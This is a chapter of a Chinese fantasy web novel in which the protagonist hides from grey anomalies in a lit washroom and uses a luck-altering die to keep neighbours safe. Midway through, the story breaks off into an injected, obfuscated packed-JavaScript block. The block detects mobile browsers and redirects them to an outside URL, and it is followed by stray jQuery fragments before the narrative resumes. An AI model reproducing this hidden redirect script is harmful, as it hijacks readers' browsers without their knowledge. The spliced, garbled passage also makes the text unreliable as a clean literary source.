季泠州的心停跳了一刹,又疯狂地将血泵向四肢百骸。
太多了!
和挤满房间的灰影相比,手中的左轮手枪就像孩子的玩具。
他的大脑飞快运转,该怎么办?
肯定有生路。
若这个世界的异常都如此强大,那人类早就灭绝了。
脑海中灵光一闪。
灰影无法进入密闭的空间,否则最开始它们就会敲破玻璃,闯入房间了。
想通这一点,季泠州瞬间想到了解决办法。
他的目光牢牢锁定在最近的房间,盥洗室上。
他记得盥洗室的窗户锈住了打不开,预约的维修工一周后才能来。
只要逃进去,再关上门,就是一间理论上的密室。最重要的是,为了预防可能的火灾,他将剩余的煤油都丢在了盥洗室的角落。
光照、水、结实的门,还有比这更完美的避难室吗?
唯一需要解决的,就是清出一条通往盥洗室的路。
自己还剩三颗子弹,省着点用应该可以。
当机立断季泠州对离自己最近的灰影射击,他专门找准角度,经可能地让弹道多穿过几只灰影。
“噗!”三五只灰影化作碎片,消失在空气里。
更多的灰影涌上来。
季泠州弯腰,以狼狈的姿势在地上打了个滚,钻进盥洗室。
然后用力将门合上。
煤油灯光打在水银镜上,整个房间分外明亮。
他提着灯,将盥洗室仔仔细细检查一遍,确保没有遗漏任何死角。
剩下的,就是等待了。
第一张脸已经候在盥洗室的玻璃外了,它就那样用模糊不清的脸盯着季泠州。
接着,是第二张、第三张。
它们像是上锅前摆放过近的馒头胚子,挤成一团。
季泠州毫不畏惧地和它们对视。随着持续观察,一行信息浮现在灰影头上:
【蠕行者:寂静终末的新玩具……%¥#生命*&替代¥…#】
他只能看到一点点,更多的内容依旧混沌。
隔着门,能听到走廊里传来雨点一般的敲打声,似是有无数人同时上门拜访。
他只觉得无聊,拿起油壶,给煤油灯加满灯油。
盥洗室里的持续的光明逐渐驱散了灰影,人脸一张接着一张消失。
结束了,这次是真结束了。
危险过后,他才发现自己浑身上下都被汗打湿了,衬衣紧紧地贴在身上。
他缓缓坐在浴缸沿上,只觉得浑身上下一阵无力。险些忘记了,这具时日无多的身体禁不住这种折腾。
季泠州在心底暗下决心,以后得在房间每一处都放个躺椅,即便是盥洗室也不例外。
浴缸冰凉又坚硬,隔得人生疼。坚持了一会,还是忍不住站起来。
他焦躁的翻开报纸,只见头版标题赫然变成“紧急提示”四个大字。
上次看,还是《涅伽拉德将迎来连续降雨》。
顺着标题往下看,是一则短讯。
【接异对司紧急通知,涅伽拉德发生大规模异常现象,会员请勿离开居所,紧闭门窗,提防一切接近你的存在。如有余力,请帮助身边的普通人。——侦探协会】
【重金悬赏一切异常信息,有任何发现请填写递交,核实后奖励将在五个工作日内发放。】
侦探协会的反应很快。
他想了想,掏出口袋里的笔,在报纸上写下自己的发现,包括进入房间的规律,以及他的猜测——或许,灰影变多和煤油灯灭了一次有关。
光照很重要。
忽然,窗外一下子亮起来,他抬头透过玻璃望去。
几条街外着火了,火光照亮了半边天。但是看不到救火的人。十几米高的火焰安静舔舐着建筑。
火离得太远,他更担心自己的邻居,也就是今天下午有一面之缘的艾希莉·贝内特小姐。
她的房子刚好在盥洗室视野范围内,此刻被火光照的清楚。
贝内特小姐躺在沙发上,支起半边身子抬头望向房子大门。
这个角度的视线很好,既能看清贝内特小姐,又能看清她房间外的蠕行者。
它像个礼貌绅士一样,站在门外有规律的敲门。
季泠州推测,贝内特小姐可能还听到了某种声音。
虽然距离太远了听不见,但他能清楚看见,她的嘴一张一合,似在和人说话。
得想个方法拦住她。
虽然只是萍水相逢的陌生人,但作为一个经过现代教育的新时代青年,实在无法袖手旁观。
他苦笑着摊开手,自己两手空空,还被困在盥洗室里,能有什么办法?
想是这么想,实际他还是开始翻找口袋,试图找到些工具。忽然摸到一个冰冷、坚硬的小方块,掏出来一看是骰子。
他心中出现个大胆的想法。
既然事情已经糟到不得了,那无论发生任何改变,都有概率推动结果朝好的方向改变。
季泠州立刻指定艾希莉·贝内特为作用对象,丢下了骰子。
六点。
她的运气真好。
隔着两道玻璃,只见贝内特小姐甩了甩头,瞬间清醒了过来。
她不再犹豫,披上外衣,脚步轻快地朝门口走去。
糟糕!【篡命骰子】解除了她的醉酒效果。若放在平时,自然是一件好事。
可是蠕行者就在她门外,走得越快,完蛋越快呀!
季泠州当机立断再次丢下骰子。
三点。
贝内特小姐的手已经放在了门把手上,然后……
一把将门把手拽了下来!
意料之外的发展。
而且很是滑稽,他忍不住笑出了声,这下看来是安全了。
下一秒,贝内特小姐一把丢掉门把手,朝一旁的窗户走去。
似乎想打开窗户,和外面的人说话。
哦豁!季泠州扶额,六点的后遗症还没有消失,清醒的贝内特小姐行动力未免太强了。
【篡命骰子】只剩下最后一次使用机会。
他没报什么希望,直接捡起来又投了一次。
这次是一点。
运气降到最低,能不能成,只能交给命运了。
季泠州静静地望着窗户,只见贝内特小姐的手一点点探向窗框。
然后,仿佛慢动作一样。窗帘杆整个掉了下来,砸在她头上。
她捂住脑袋,痛呼一声,整个人被窗帘包住。
失去视线加上头痛,她脚下的步伐瞬间乱了。
只见淡蓝色窗帘包裹的人形跌跌撞撞地乱走了两步,一脚绊在翘起的地毯上,瞬间失去平衡躺倒在地,陷入了婴儿般的睡眠。
门外,灰影仍在敲门,但房屋里已经没有清醒的人能给它开门了。
季泠州看得牙酸,没想到自己的【篡命骰子】有如此威力。
他之前为自己掷出三点,倒了一天霉,本以为已经很不幸了。
现在看,简直是命运之神的垂青呀!
不过,不幸中的万幸是,贝内特小姐倒下的瞬间,恰好露出口鼻。
看她胸口的有节奏的起伏,应该只是晕过去了,睡一觉就会醒来。而且她被窗帘裹得严实,不用担心着凉。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182885|196972||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>季泠州很是欣慰,自己救下了一个人,虽然过程曲折,但结果是好的。
好心情加持下,不透气的盥洗室也变得舒适宜人起来。
接着,有帮助贝内特小姐的经验在前,季泠州又照猫画虎“帮助”了几个邻居。
有拄着拐杖的老夫妇、年轻的男学生、和一个三角眼的小混混。
他发现,将这些人的运气直接修改成一点是最好的方法。
他们在厄运加持下,会迅速失去行动能力。最倒霉的那个三角眼,他昏迷时不幸撞在墙上,失去了两颗门牙。
有成功,自然也有失败。
季泠州亲眼看到一对夫妇给蠕行者开了门,然后俩人直挺挺地站在门口,像雕塑一样一动不动。
接着,诡异的一幕发生了。
房间餐桌上的脏餐具自动飞进水池,某种无形力量将它们洗刷干净,然后摆入碗柜。
接着是地面的污渍一点点消失,凌乱的衣物被叠放整齐。
整个房间像是慢镜头一样,一点点变得干净、整洁起来。
是蠕行者做的吗?季泠州不确定。
但他清楚,超凡领域第一条规则就是:万事万物皆有代价。他不相信蠕行者会主动做好事。
他掏出报纸,将自己的推断一股脑写了上去。他不缺钱,但对于一个合格的玩家而言,有扩充积蓄的机会,一定要牢牢抓住。
时间一点点过去,后半夜还下了场小雨,将燃烧得只剩下框架的房屋浇灭。
……
“小子,醒醒。”朦胧中,有人在推他。
季泠州猛得睁开眼睛,警惕地四下扫视。
“得了,就你这警惕性,街上的流浪狗路过都能咬你几口。”熟悉的男人声音在身侧响起。
不知什么时候,塔洛恩·加兹鲁维来了。
盥洗室很宽敞,但塞进塔洛恩后,立马局促起来。
“你是通过休息室进来的?”他没有接塔洛恩的话,反问道。
“当然。”
塔洛恩耸肩,“不然你以为我会从走廊那个大洞爬进来?我倒是不嫌麻烦,怕你家窗户受不住。”
他扶起季泠州,来到会客厅里。
季泠州闷哼了一声,按着自己的脊背,缓缓躺进沙发,昨晚靠着墙睡着了,全身疼得不得了。
他揉着腰,问:“你特地跑一趟,总不会只是来看我还活着吧?”
“算是吧。”
塔洛恩摆摆手,“不过那不是重点。”
“昨晚整座涅伽拉德差点翻过来。”他打了个哈欠,“我一宿没合眼。”
“灰影?”季泠州试探问。
“学名叫‘蠕行者’。”塔洛恩皱眉,“时间系的异常,危险程度还在摸底。”
“有一点可以确定。”
他看了季泠州一眼,“那玩意儿绝对不是什么好东西,你最近最好别乱跑。”
季泠州心中暗暗点头,自己有“鉴定”,才能在第一之间知道那东西的名字,没想到侦探协会反应得也这么快。
“这次能这么快定性,多亏了你给的情报。”
塔洛恩顿了顿,“分部直接把总部的鉴定师请下来了。”
“有什么奖励吗?”
“我原本给你准备的是一次月光仪式。”塔洛恩看着他,“能稳稳给你续一两年命。”
“现在加上协会的奖励,我帮你申请到了一件异常物,能一直用下去。喏,就是这个。”
塔洛恩拉开一扇门,上半身探进去,用力往外拉拽。
季泠州对此表示怀疑。能延续寿命的异常物,放哪都是异常珍贵的存在,怎么会轮到自己?